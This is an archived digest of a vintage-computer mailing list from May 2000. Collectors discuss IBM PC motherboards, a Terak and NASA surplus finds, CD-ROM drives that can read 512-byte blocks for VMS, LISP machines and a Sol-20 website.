http://www.classiccmp.org/pipermail/cctalk/attachments/20000503/0e9ed915/attachment.ksh From ethan_dicks at yahoo.com Wed May 3 16:33:07 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts Message-ID: <20000503213307.24166.qmail@web614.mail.yahoo.com> --- Olminkhof wrote: > There was no 16-265k logic board. There was a 16-64k and a 64-256k > > What is the world coming to when collectors are having trouble locating > original PC cases and value 64-256k boards ?? Am I getting that old? They are still available occasionally at my local Volunteers Of America outlet - routinely $5 to $7, keyboard extra. I have one or two including one that is still performing its original duties from 1983 - a display terminal for a NorthWest Instruments 68000 bus analyzer. We threw a defective MFM drive on it (bad platter giving us reduced capacity) and slapped it and the NW box into a gutted VAX-11/725 case. It was very handy to wheel up to a test board and plug in... the mono monitor and full-sized keyboard fit on top of the former VAX without falling off. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From jfoust at threedee.com Wed May 3 16:48:14 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:21 2005 Subject: ASR-33 manual online? Message-ID: <4.3.0.20000503164733.00adda40@pc> Am I just imagining that someone scanned the service manual and put it online? A search of my saved messages and web bookmarks revealed nothing... - John From lemay at cs.umn.edu Wed May 3 17:19:31 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: <002401bfb54c$a62be620$dadf8490@tp.nsw.bigpond.net.au> from Olminkhof at "May 4, 2000 08:12:18 am" Message-ID: <200005032219.RAA29867@caesar.cs.umn.edu> [Charset iso-8859-1 unsupported, filtering to ASCII...] > > > >My rule is to pull anything that looks different or interesting. Obviously > >a 16-256k logic board is worth preserving, but so are any special looking > >cables. > > > > > There was no 16-265k logic board. There was a 16-64k and a 64-256k > > What is the world coming to when collectors are having trouble locating > original PC cases and value 64-256k boards ?? Am I getting that old? > We all are ;) These are the 64-256 motherboards, from 1984. Think of it this way, college freshmen were only 2 years old when these computers were purchased... Scarry, eh? BTW, the floppy drives appear to be Tandon 100-2A, with IBM faceplates. 48 TPI DSR. I'm waiting for the day that some Antiques Roadshow person starts to Gush about the fine old 'patina' on the metal parts of some floppy drive. I plan to throw up right about then... -Lawrence LeMay lemay@cs.umn.edu From lemay at cs.umn.edu Wed May 3 17:25:28 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:21 2005 Subject: ASR-33 manual online? In-Reply-To: <4.3.0.20000503164733.00adda40@pc> from John Foust at "May 3, 2000 04:48:14 pm" Message-ID: <200005032225.RAA00254@caesar.cs.umn.edu> Its at highgate. http://highgate.comm.sfu.ca/pdp8/ If you're using windows NT or 98, there is a built-in viewer that can handle multipage tiffs. You can right-click on teh links to save the files, then either double click the filenames from windows NT explorer, or open the program yourself, its in start->programs->accessories ifi recall correctly. its called 'imaging' or something like that, from kodak? if you dont have it, you may have to load optional software from your NT/98 CDrom. If you have windows 95, it is an optional download. And of course there are various free plugins for netscape that would also do the trick. If you use the built-in Windows viewer, use page-down and page-up to scroll up/down the pages. -Lawrence LeMay lemay@cs.umn.edu > > Am I just imagining that someone scanned the service manual > and put it online? A search of my saved messages and web > bookmarks revealed nothing... > > - John > From lemay at cs.umn.edu Wed May 3 17:46:16 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: <001b01bfb547$54108ee0$350810ac@yamato.chipware.com> from Bill Sudbrink at "May 3, 2000 05:34:14 pm" Message-ID: <200005032246.RAA01513@caesar.cs.umn.edu> > > > > Might be useful in other machines, possibly TRS-80 model 3 and 4 > > used full height tandon drives? > > NorthStar Horizons! > So if someone was to bid on that Northstar Horizon thats on Ebay, but that doesnt have any floppy drives... -Lawrence LeMay From gaz_k at lineone.net Tue May 2 15:18:42 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:51:21 2005 Subject: Attention List Admin blokey References: <200005021608.JAA18992@bender.ndx.net> Message-ID: <01cc01bfb552$1bcb0960$ef2c63c3@gazk> Can anyone tell me who the list administrator is? Gareth From rigdonj at intellistar.net Wed May 3 18:25:08 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:21 2005 Subject: What a weekend! In-Reply-To: <4.3.0.20000503144532.00bf3620@pc> References: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000503182508.268fbd40@mailhost.intellistar.net> Hi John, I knew that someone on the list had a Terak. BTW I think this one originally came from the VA hospital in Gainsville, Florida. I got it with a bunch of stuff that came from NASA. At 02:47 PM 5/3/00 -0500, you wrote: >At 02:57 PM 5/3/00 -0500, Joe wrote: >>a Terak computer, a pile of HP terminals, a complete DEC Rainbow and more. > >Wow, tell me about the Terak system you got. I don't know anything about it other than the obvious. I haven't had a chance to look at it closely. It looks like a model 8510. It has one 8" floppy drive and the monitor. It has two serial ports and each has connectors for DTE, DCE or current loop connections. It has a monitor port, a composite video port, a keyboard connector and a connector for additional drives. I'm missing the cable that connects the monitor to the CPU and I'm missing the keyboard. (Unless it turns up in the rest of the stuff.) I'm posting pictures of it at "www.intellistar.net/~rigdonj/terak/terak-f.jpg" and "www.intellistar.net/~rigdonj/terak/terak-b.jpg". > >See http://www.threedee.com/jcm/ > >>Even got parts from a lunar lander and a >>gyro from a Saturn V. > >Wow, cool. What parts from a lunar lander? A spare door and part of the RADAR altimeter. We've already been offered VERY serious money for the door. In fact, more than enough to pay for the whole load. Oh, also got sections of the tunnels that were supposed to connect the different modules of Skylab. They remind me of those tubes used on the gerbil and hmaster habitats! Joe > >- John > > From rigdonj at intellistar.net Wed May 3 18:39:47 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:21 2005 Subject: What a weekend! In-Reply-To: References: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000503183947.267790bc@mailhost.intellistar.net> At 12:54 PM 5/3/00 -0700, you wrote: >>was a huge Helium Neon laser. It's a Spectra Physics 125 and the thing is > >So, did you actually get the laser, or just find it? I didn't get it yet. They want to much for it IMO. But I expect that I'll end up getting it for the price that I offered. > >> Then went to an auction of space stuff with a friend of mine on >>Saturday. Big mistake! We've been moving stuff ever since. I've been >>leaving by 6:30 AM and not getting home till close till midnight. We ended >>up with four large work benches, 30 feet of 12 foot pallet racking and >>about 35 pallets of stuff! We got some cool stuff though, a complete Apple > >Ouch! > >>Also got a a VERY complete HP 1000 including a 7905 disk drive with the >>disk pack still in it. Also found an entire gaylord of manuals for it. And > >You found a grills ventilation system of manuals? (A Gaylord is a >ventilation system used above grills and deep fat fryers (mispent early >career as an electrician)) A gaylord is also a VERY sturdy cardboard box that measures 4 foot on each axis. They sit on pallets and are used to ship and store loose items. Joe > > Zane >| Zane H. Healy | UNIX Systems Adminstrator | >| healyzh@aracnet.com (primary) | Linux Enthusiast | >| healyzh@holonet.net (alternate) | Classic Computer Collector | >+----------------------------------+----------------------------+ >| Empire of the Petal Throne and Traveller Role Playing, | >| and Zane's Computer Museum. | >| http://www.aracnet.com/~healyzh/ | > From rigdonj at intellistar.net Wed May 3 19:00:15 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:21 2005 Subject: What a weekend! In-Reply-To: <000801bfb53f$68df6060$0e0301ac@dba00802.databaseamerica.co m> References: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000503190015.266f4a58@mailhost.intellistar.net> At 04:37 PM 5/3/00 -0400, you wrote: > >Joe said: > > an Apple III with an external disk drive... > Fastastic! Great! > > > Even got parts from a lunar lander... > What? Name 'em! Part of the RADAR altimeter and a spare hatch. > > > and a gyro from a Saturn V... > How big did those fellers get, anyway? It's about the same size and shape as a half height 5 1/4" hard drive and looks a lot like one at first glance. It's about 1 1/2 times as tall though. I'll try to get a picture and post it. Joe > >John A. > > From cmcmanis at mcmanis.com Wed May 3 18:02:27 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:21 2005 Subject: 512 byte CD-ROM drives Message-ID: <4.1.20000503155850.044b5970@mailhost.hq.freegate.com> Ok, perhaps a simple question. Is there anyway, by inspection of the case, to identify whether or not a CD-ROM drive will read 512byte records? If not, is there a list of "known" models that can? --Chuck From ard at p850ug1.demon.co.uk Wed May 3 18:02:18 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: <200005032219.RAA29867@caesar.cs.umn.edu> from "Lawrence LeMay" at May 3, 0 05:19:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 853 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/4214d209/attachment.ksh From zmerch at 30below.com Wed May 3 18:16:01 2000 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:51:21 2005 Subject: What a weekend! In-Reply-To: References: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <3.0.1.32.20000503191601.00968230@mail.30below.com> Rumor has it that Zane H. Healy may have mentioned these words: >>Also got a a VERY complete HP 1000 including a 7905 disk drive with the >>disk pack still in it. Also found an entire gaylord of manuals for it. And > >You found a grills ventilation system of manuals? (A Gaylord is a >ventilation system used above grills and deep fat fryers (mispent early >career as an electrician)) No, no, no... I thought he found a small city in North Central Michigan of manuals... ;-) (I had a not-so-misspent early career at EDS, working on the big iron... but it was in Detroit so that sucked, and the 700-mile round trip weekend commutes back to the Canadian Border (during which I passed thru Gaylord, MI) sucked worse...) ;-) On another front, the folks at DECUS *lost* my membership application, but they were nice enough to email me and let me know I needed to reapply. (My question is this: If they lost the info, *how* did they know how to contact me to let me know they lost it??? ;-) I have since reapplied and am waiting patiently for my DECUS membership... :-) Take care, Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From dpeschel at eskimo.com Wed May 3 18:15:44 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:21 2005 Subject: Attention List Admin blokey In-Reply-To: <01cc01bfb552$1bcb0960$ef2c63c3@gazk> from "Gareth Knight" at May 02, 2000 09:18:42 PM Message-ID: <200005032315.QAA11129@eskimo.com> > Can anyone tell me who the list administrator is? That's me. You can also reach me at dpeschel@eskimo.com. Are you having a problem, or do you have a question or something? -- Derek From healyzh at aracnet.com Wed May 3 18:50:14 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:21 2005 Subject: 512 byte CD-ROM drives In-Reply-To: <4.1.20000503155850.044b5970@mailhost.hq.freegate.com> from "Chuck McManis" at May 03, 2000 04:02:27 PM Message-ID: <200005032350.QAA09265@shell1.aracnet.com> > Ok, perhaps a simple question. > > Is there anyway, by inspection of the case, to identify whether or not a > CD-ROM drive will read 512byte records? If not, is there a list of "known" > models that can? > > --Chuck > The presense of a 512/2048-byte jumper is a good clue. :^) I think one of the Sun FAQ's has a list of some of the drives that work. IIRC, I'm using Toshiba drives on a couple of my Alpha's running OpenVMS. Zane From elvey at hal.com Wed May 3 18:47:36 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: Message-ID: <200005032347.QAA29127@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > I'm waiting for the day that some Antiques Roadshow person starts to > > Gush about the fine old 'patina' on the metal parts of some floppy drive. > > I plan to throw up right about then... > > > The day I am told I've ruined the value of %common-machine by repairing > it is the day I leave this hobby. Permanently! Computers were designed to > run programs, and run programs they shall ! Hi I think Tony will win in the long run on this. Even the road show indicated once that silver is meant to be polish while most copper art isn't. Each type of item is different. As for value of a computer, I'm sure that the value of a computer will follow the following levels: 1. Working, all original 2. Working, minor repairs 3. non-working, all original 4. just plain trashed While some put a large effort into locating exact dated parts, I don't think using what is available moves it from 2 to 4. It might move it from 2.01 to 2.00 but that is about it. Even things like classic cars, one still replaces the tires and battery when shot. It adds little value to have a bad original battery in a car that won't start. Trashed seat covers will not win many shows but restored seat covers may put it in top place. The future value will be determined by how people in the future look at these things. A non-working cylinder record player is useful for parts. A working one is what is desired. I think that restoring an old computing machine to working condition is the highest achievement that any computer collector can achieve. If others don't feel that way, they should be collecting beanie babys. IMHO Dwight From cmcmanis at mcmanis.com Wed May 3 18:58:07 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: <200005032246.RAA01513@caesar.cs.umn.edu> References: <001b01bfb547$54108ee0$350810ac@yamato.chipware.com> Message-ID: <4.1.20000503165702.03fbfd20@mailhost.hq.freegate.com> >> NorthStar Horizons! >> > >So if someone was to bid on that Northstar Horizon thats on Ebay, but that >doesnt have any floppy drives... Even worse, they bought the northstar, installed the Tandon drives with the IBM logo and then hawked the result on Ebay as the R@RE IBM CP/M computer that nobody else knows about. --Chuck From pechter at pechter.dyndns.org Wed May 3 20:08:50 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:21 2005 Subject: 512 byte CD-ROM drives In-Reply-To: <200005032350.QAA09265@shell1.aracnet.com> from "healyzh@aracnet.com" at "May 3, 2000 04:50:14 pm" Message-ID: <200005040108.VAA24193@bg-tc-ppp824.monmouth.com> > > Ok, perhaps a simple question. > > > > Is there anyway, by inspection of the case, to identify whether or not a > > CD-ROM drive will read 512byte records? If not, is there a list of "known" > > models that can? > > > > --Chuck > > > > The presense of a 512/2048-byte jumper is a good clue. :^) I think one of the > Sun FAQ's has a list of some of the drives that work. IIRC, I'm using > Toshiba drives on a couple of my Alpha's running OpenVMS. > > Zane > > The Teac's I've got work (on Suns) as do some Sony drives. They should also work on VMS... I"m going to dig out the VS3100 this weekend to load it. Just got a DEC DSP3105 drive. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From rigdonj at intellistar.net Wed May 3 21:22:46 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:22 2005 Subject: Terak was Re: What a weekend! In-Reply-To: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000503212246.093fa6f0@mailhost.intellistar.net> I just did some checking on the Teraks. The disk drive is a double density unit. The model and serial numbers are; Monitor model 8532-1 SN U100736, CPU model number 8510 SN U100070. Joe From jim at calico.litterbox.com Wed May 3 20:24:27 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:51:28 2005 Subject: 512 byte CD-ROM drives In-Reply-To: <200005040108.VAA24193@bg-tc-ppp824.monmouth.com> from "Bill Pechter" at May 03, 2000 09:08:50 PM Message-ID: <200005040124.TAA12531@calico.litterbox.com> Plextor also makes drives that work - modern, fast ones, at that. My ultraplex 40 wide is listed in the manual as VMS compatible. > > > > Ok, perhaps a simple question. > > > > > > Is there anyway, by inspection of the case, to identify whether or not a > > > CD-ROM drive will read 512byte records? If not, is there a list of "known" > > > models that can? > > > > > > --Chuck > > > > > > > The presense of a 512/2048-byte jumper is a good clue. :^) I think one of the > > Sun FAQ's has a list of some of the drives that work. IIRC, I'm using > > Toshiba drives on a couple of my Alpha's running OpenVMS. > > > > Zane > > > > > > The Teac's I've got work (on Suns) as do some Sony drives. > They should also work on VMS... I"m going to dig out the VS3100 this > weekend to load it. Just got a DEC DSP3105 drive. > > Bill > > -- > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From wvh at gethip.com Mon May 1 14:29:16 2000 From: wvh at gethip.com (Bill von Hagen) Date: Sun Feb 27 18:51:28 2005 Subject: Looking for LMI LISP Machines Message-ID: <4.3.1.2.20000501152408.00d61ae0@mail.city-net.com> Every few years I evaluate the holes in my workstation collection (http://www.city-net/~wvh/collection.html, not up to date) and inevitably find that I still have no LMI LISP machines. This list seems to be the perfect place to ask (1) if anyone has one (or more) or docs, software, or even just parts that they're willing to "part" with or (2) if anyone knows where any systems, software, or docs are lurking. It's been a long time since their "heyday" (Stallman honed his hacking skills on these boxes). I have working samples of most/all of the other classic LispMs (PERQs, TI Exploders, XEROX boxes, Symbolics) but alas, no LMIs. Can anyone help? Thanks! Bill From ernestls at home.com Wed May 3 20:50:10 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:51:28 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <3.0.1.16.20000503151148.0a4f407e@mailhost.intellistar.net> Message-ID: <000001bfb56c$e2ec5de0$59a40b18@C721564-A.sttln1.wa.home.com> -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Joe Sent: Wednesday, May 03, 2000 1:12 PM To: classiccmp@classiccmp.org Subject: Re: Couple of cool HP 110/150 finds >HP-IB ABC switch (92205Y) Used to chain up to 21 external HP-IB devices >(have you seen one of these before, Joe?) I have one but it looks about like one of the standard RS-232 switch boxs and it only switchs between four (i think!) sets of HP-IB cables. Well, it does have three HP-IB connectors but since you can daisy chain the IB devices, wouldn't that mean that you could have seven chained devices per port? >HP Series 100 Communicator Volumes 7-12 (very cool) Now those are unusual. I have two volumes but I've never been able to find any more of them. Where did you find them? What? You're asking me to give up my most productive source of free or very cheap vintage hardware. I'll give you a hint... it's the coolest vintage computer store in Seattle. These books are great! What a wealth of photos and information. Volume 7 (1983) =International Edition. Introduces the HP150. Volume 8 (1984) =World Wide Edition. Lotus 123. Volume 9 (1984) =World Wide Edition. General, no specific topic. Volume 10(1984) =WWE. Local area networking with HP computers. Volume 12(1985) =Touchscreen II. Ernest From allisonp at world.std.com Wed May 3 20:09:17 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:28 2005 Subject: IBM PC parts Message-ID: <008901bfb568$51fdff90$8264c0d0@ajp166> >> The day I am told I've ruined the value of %common-machine by repairing >> it is the day I leave this hobby. Permanently! Computers were designed to >> run programs, and run programs they shall ! And they have no idea of what they speak. >replaces the tires and battery when shot. It adds little >value to have a bad original battery in a car that won't >start. Trashed seat covers will not win many shows but The key on a restored care is id the battery a new white plastic cased one or something old looking with external terminals on the top. It's the difference between restored and working. > I think that restoring an old computing machine to working >condition is the highest achievement that any computer collector >can achieve. If others don't feel that way, they should be >collecting beanie babys. I happen to agree. While im not into museum restoration myself having things work is important and I do try to use exact parts often due to my junkbox depth as old or older than original. While static displays have a place working examples of the real or by replication are far more interesting. Computing is not only about machines. It's about software and the people that designed, built and supported them as well. Allison From allisonp at world.std.com Wed May 3 20:21:10 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:28 2005 Subject: IBM PC parts Message-ID: <008c01bfb568$549ced60$8264c0d0@ajp166> >Last time I demonstrated one of my not-too-old machines (a PDP11/10 IIRC) >to a group of students, I realised that the computer was built before any >of the audience were born. Ouch.... I rather enjoy showing the kids that computers were really around a long time before them and they didn't look like C grade scfi flicks had them. >The day I am told I've ruined the value of %common-machine by repairing >it is the day I leave this hobby. Permanently! Computers were designed to >run programs, and run programs they shall ! That was their initial function and most continue to do it. What other point would there be? Allison From allisonp at world.std.com Wed May 3 20:17:20 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:28 2005 Subject: IBM PC parts Message-ID: <008b01bfb568$53d334c0$8264c0d0@ajp166> >So if someone was to bid on that Northstar Horizon thats on Ebay, but that >doesnt have any floppy drives... Well they arent rare. They are nice and fairly straightforward machines. the native OS was never CP/M, it was NS* dos. For laughs what are the bids at? Allison From allisonp at world.std.com Wed May 3 20:00:32 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:28 2005 Subject: 512 byte CD-ROM drives Message-ID: <008801bfb568$51068030$8264c0d0@ajp166> >> > Is there anyway, by inspection of the case, to identify whether or not a >> > CD-ROM drive will read 512byte records? If not, is there a list of "known" >> > models that can? I have a bunch of older Panasonic MX3501s that work fine and recently bought a $49 unit from JDR that had the jumper so I tried it and it worked. >They should also work on VMS... I"m going to dig out the VS3100 this >weekend to load it. Just got a DEC DSP3105 drive. Thats a Panasonic (aka Masushita or some such). Likely the best giveaway is any drive with a jumper for selecting block size or slower than 4x plus SCSI is likely a winner. Allison From allisonp at world.std.com Wed May 3 20:15:03 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:28 2005 Subject: What a weekend! Message-ID: <008a01bfb568$52d88110$8264c0d0@ajp166> >> > Even got parts from a lunar lander... >> What? Name 'em! > > Part of the RADAR altimeter and a spare hatch. Parts of the flight computer would be a catch! Even those of the Shuttle. While I'm not actively trying to get more there are some things out there on my "Oh, don't pass that one up" list. Minuteman missle computer. An old disk machine with serial electronics and all transistor. It was my intro to real touch it hardware some 28 years ago. Cincinatti Millichron CM2xxxx series 16bit computer CA1973ish (anyone but me ever see one?) Allison From red at bears.org Wed May 3 22:01:55 2000 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 18:51:28 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000001bfb56c$e2ec5de0$59a40b18@C721564-A.sttln1.wa.home.com> Message-ID: On Wed, 3 May 2000, Ernest wrote: > What? You're asking me to give up my most productive source of free or very > cheap vintage hardware. I'll give you a hint... it's the coolest vintage > computer store in Seattle. You're assuming that everybody has the same set of interests in vintage computers. Now spill the beans! (: And if you say, "Re*PC" I'm going to have to hurt you. ok r. From wilson at dbit.dbit.com Wed May 3 22:19:33 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:28 2005 Subject: What a weekend! In-Reply-To: <008a01bfb568$52d88110$8264c0d0@ajp166>; from allisonp@world.std.com on Wed, May 03, 2000 at 09:15:03PM -0400 References: <008a01bfb568$52d88110$8264c0d0@ajp166> Message-ID: <20000503231933.A24114@dbit.dbit.com> On Wed, May 03, 2000 at 09:15:03PM -0400, allisonp wrote: > >> > Even got parts from a lunar lander... > >> What? Name 'em! > > > > Part of the RADAR altimeter and a spare hatch. > > Parts of the flight computer would be a catch! Even those of the > Shuttle. Forgive my ignorance, I was just a kid at the time, but weren't the lunar landers abandoned to crash-land on the moon after the trip was over? So is this stuff from prototypes or am I missing something? John Wilson D Bit From healyzh at aracnet.com Wed May 3 22:36:16 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:28 2005 Subject: What a weekend! In-Reply-To: <20000503231933.A24114@dbit.dbit.com> from "John Wilson" at May 03, 2000 11:19:33 PM Message-ID: <200005040336.UAA30579@shell1.aracnet.com> > > >> > Even got parts from a lunar lander... > > >> What? Name 'em! > > > > > > Part of the RADAR altimeter and a spare hatch. > > Forgive my ignorance, I was just a kid at the time, but weren't the > lunar landers abandoned to crash-land on the moon after the trip was > over? So is this stuff from prototypes or am I missing something? > > John Wilson > D Bit > Consider this, the Aerospace Museum in DC has a Space Lab. BTW, if you want to do the Space Lap walkthrough I recommend going during the week in February. I lived in DC for three years, and that's about the only time you'll be able to see it without standing in line for ages. As for Summer on a weekend, well you can just forget going to the museums period! Zane PS now this is what I call an off-topic post! PPS the same time period is good for seeing the computer exhibit at the Museum of American History in DC From swolfe1 at mail.gcnet.net Wed May 3 22:59:04 2000 From: swolfe1 at mail.gcnet.net (The Basement) Date: Sun Feb 27 18:51:28 2005 Subject: VAX system wanted References: <200005040336.WAA43405@opal.tseinc.com> Message-ID: <004001bfb57d$175eee20$0190fea9@beast> Hello all at classiccmp!!! I'm, looking to pick up an older vax system, possibly a microvax. I'm interested in ANY smaller main or minicomputer. We have some extra space in teh Computer Club room at our University. We don't have much as far as usable stuff goes ( a Pentium 75 Intel Box ). I would REALLY love to find a uVax to setup and possibly host a server for classic computers for our ACM Chapter, which could really use a project like this, since we are newly formed. Thanks! Shane Wolfe Frostburg State University Frostburg, Maryland From cmcmanis at mcmanis.com Wed May 3 23:15:47 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:28 2005 Subject: Plextor CD writers Message-ID: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> Ok, so a couple of people have pointed out that the Plextor's support 512 byte sectors. Further the Plextor CD writer also supports 512 byte sectors. So my question is can I use it to write a bootable disk image? Has anyone tried this? Tim? --Chuck From xds_sigma7 at hotmail.com Thu May 4 01:37:19 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:28 2005 Subject: Cincinatti Milacron Message-ID: <20000504063719.31825.qmail@hotmail.com> Ah yes, the Cincinatti Milacron. Now that is a truly unusual beast... I'd bet you could probably find one pretty easily, it would just cost you something like $10,000 however. The reason being is that Cincinatti Milacron was formerly known as the Cincinatti Milling Machine Co., and they are known for their machine tools, I think mostly lathes and the like (lathes for steel, not wood). At any rate, in about 1970 or '71, they decided to computerize their milling machines, but they didn't want to use just someone else's mini (i.e., a PDP-11 for example), so they designed their own. The first model was not actually designed by them, it was a General Automation I think, I can't remember. However, all later machines were inhouse designs. They're all 16-bits, can't remember too much else though. I got this info out of circa 1968-1973 or so vintage copies of "Datamation". Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From frustum at pacbell.net Thu May 4 02:01:45 2000 From: frustum at pacbell.net (Jim Battle) Date: Sun Feb 27 18:51:28 2005 Subject: New home for Sol web site In-Reply-To: <3.0.1.16.20000503212246.093fa6f0@mailhost.intellistar.net> References: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <4.3.0.20000503235140.00b14e60@pacbell.net> Sorry for the self-promotion here, but I've made a lot of changes to my web site dedicated to the Sol computer. Some of the list members may be interested. In no particular order: *) The list's very own Mike Noel was kind enough to scan two P.T. Access newsletters from his collection. I've ocr'd one of them and put it on-line. The second one is in progress. Check it out at: http://www.thebattles.net/sol20/access_v2n1.pdf *) Paul Schaper had the foresight to archive his collection of sol cassettes back when he bought them. He has forwarded the binaries to me, which can be had at this location (along with the other programs that were already there): http://www.thebattles.net/sol20/solpgms.html *) the Sol web site has a new home. The old location was hosted on a banner-ad supported free web site. Due to the banner ads and the fact that I was running out of space, the Sol pages have found a new home. If you are interested, take a look here: http://www.thebattles.net/sol20/sol.html *) if you have been to the site before and want to know what has changed, the history of changes are here: http://www.thebattles.net/sol20/solnew.html Any suggestions, corrections, and donations can be sent to me, frustum@pacbell.net. Thanks. ----- Jim Battle == frustum@pacbell.net From pete at dunnington.u-net.com Thu May 4 03:06:26 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:28 2005 Subject: Plextor CD writers In-Reply-To: Chuck McManis "Plextor CD writers" (May 3, 21:15) References: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> Message-ID: <10005040906.ZM825@indy.dunnington.u-net.com> On May 3, 21:15, Chuck McManis wrote: > Ok, so a couple of people have pointed out that the Plextor's support 512 > byte sectors. Further the Plextor CD writer also supports 512 byte sectors. > So my question is can I use it to write a bootable disk image? Has anyone > tried this? Tim? I haven't used a Plextor writer, but I see no reason for it not to work. Any writer can write a bootable image. I've done so with my Yamahas and Teac. Writing is always done with 2048-byte blocks; the sectors in the images are always 2048 bytes (well, for Mode 1 data, anyway). Setting a CD-ROM to read in 512-byte blocks just makes it deliver the data in chunks that size, it has nothing to do with the physical blocksize on the CD. -- Pete Peter Turnbull Dept. of Computer Science University of York From cmcmanis at mcmanis.com Thu May 4 03:50:53 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:28 2005 Subject: Plextor CD writers In-Reply-To: <10005040906.ZM825@indy.dunnington.u-net.com> References: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> Message-ID: <4.3.1.2.20000504014851.02b9c860@208.226.86.10> At 08:06 AM 5/4/00 +0000, Pete wrote: > Any writer can write a bootable image. I've done so with my Yamahas and >Teac. Writing is always done with 2048-byte blocks; the sectors in the >images are always 2048 bytes (well, for Mode 1 data, anyway). Setting a >CD-ROM to read in 512-byte blocks just makes it deliver the data in chunks >that size, it has nothing to do with the physical blocksize on the CD. I tried to duplicate the bootable VMS 7.1 CD on my Sony CD-R drive and it didn't work. (Using Adaptec EZ CD creator's "Clone" facility) So I guessed it was the block size issue. --Chuck From mikeford at socal.rr.com Thu May 4 04:46:14 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:28 2005 Subject: IBM PC parts In-Reply-To: References: from "Mike Ford" at May 3, 0 11:01:38 am Message-ID: >> My rule is to pull anything that looks different or interesting. Obviously >> a 16-256k logic board is worth preserving, but so are any special looking > ^^^^^^^ > >Presumably you mean a 16-64K logic board here. That was the first IBM PC >motherboard and is thus historically interesting. The later 64-256K board >is a lot more common, though :-( Was it really "later", or was the 64-256k an option available at the same time as the 16-64k? From rigdonj at intellistar.net Thu May 4 06:35:40 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:28 2005 Subject: What a weekend! In-Reply-To: <20000503231933.A24114@dbit.dbit.com> References: <008a01bfb568$52d88110$8264c0d0@ajp166> <008a01bfb568$52d88110$8264c0d0@ajp166> Message-ID: 